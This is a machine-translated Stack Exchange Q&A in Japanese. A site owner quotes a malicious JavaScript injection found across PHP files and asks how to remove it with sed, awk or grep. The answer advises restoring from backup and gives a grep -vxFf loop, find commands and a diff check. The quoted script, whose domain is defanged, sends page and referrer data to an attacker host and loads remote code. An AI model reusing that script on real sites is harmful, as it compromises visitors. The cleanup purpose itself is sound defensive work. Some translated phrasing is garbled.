長いテキスト文字列(特殊文字の多いスクリプト)を置き換えます。 sed, awk, grep

長いテキスト文字列(特殊文字の多いスクリプト)を置き換えます。 sed, awk, grep

私のウェブサイトがハッキング/感染しています。悪意のあるリンクのURLを置き換えましたが、悪意のあるスクリプトの他の要素のために私のサイトはまだブロックされました。 100個程度の「エスケープ」を挿入せずに、自分のサイトにある36個のファイルから次のスクリプトをどのように削除できますか?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

stack-exchangeの他のページではこの質問に答えません。

悪意のあるURLをxxxx_hack_was_hereなどに置き換えるには、次のようにしました。 find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

答え1

まず、上記のコメントに同意します。sedハッキングされたときに回復するために使用しないでください。 あなたが何かを逃したことではないかどうかは常に疑問に思っています。バックアップから復元、期間。

しかし、あなたが提起する文字通りの質問、つまりすべての特殊文字をエスケープせずに長い文字列のすべての項目を削除する方法は、処理するのがやや簡単です。

あなたの質問からいくつかの推論/家庭を作っていますが、実際には直接言及しません。

  1. 削除する文字列は1行です。
  2. 毎回同じことが起こります。
  3. そうする必要がある削除済み、他に置き換えることなく。

上記の仮定が正しい場合は、次のようにします。

  1. 削除する文字列(末尾のスペースを含む)をhackline.txtPut this layerという別のファイルに入れます。以上処理するディレクトリです。
  2. エラーが発生した場合は、ディレクトリ全体をコピーしてください。

    cp -a mydir mydircopy
    
  3. Hacklineのすべてのインスタンスを削除するには、ディレクトリ(またはコピー)で次のループを実行します。

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

ここでの概念は、行hackline.txt全体と一致する必要がある固定文字列のリストとして使用し、grepそれを使用して一致する行を取得することです。いいえこの文字列のリストを一致させます。

-x「完全行」を意味し、-F「正規表現ではなく固定文字列」を意味します。ファイルのパターンリストを許可します-v-f

Webサイトディレクトリがフラットではなく階層の場合(実際には可能です)、findforループを代わりに使用できます。

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

次に、再帰を使用してすべてがdiff正しいことを確認します。

diff -r mydircopy mydir

関連情報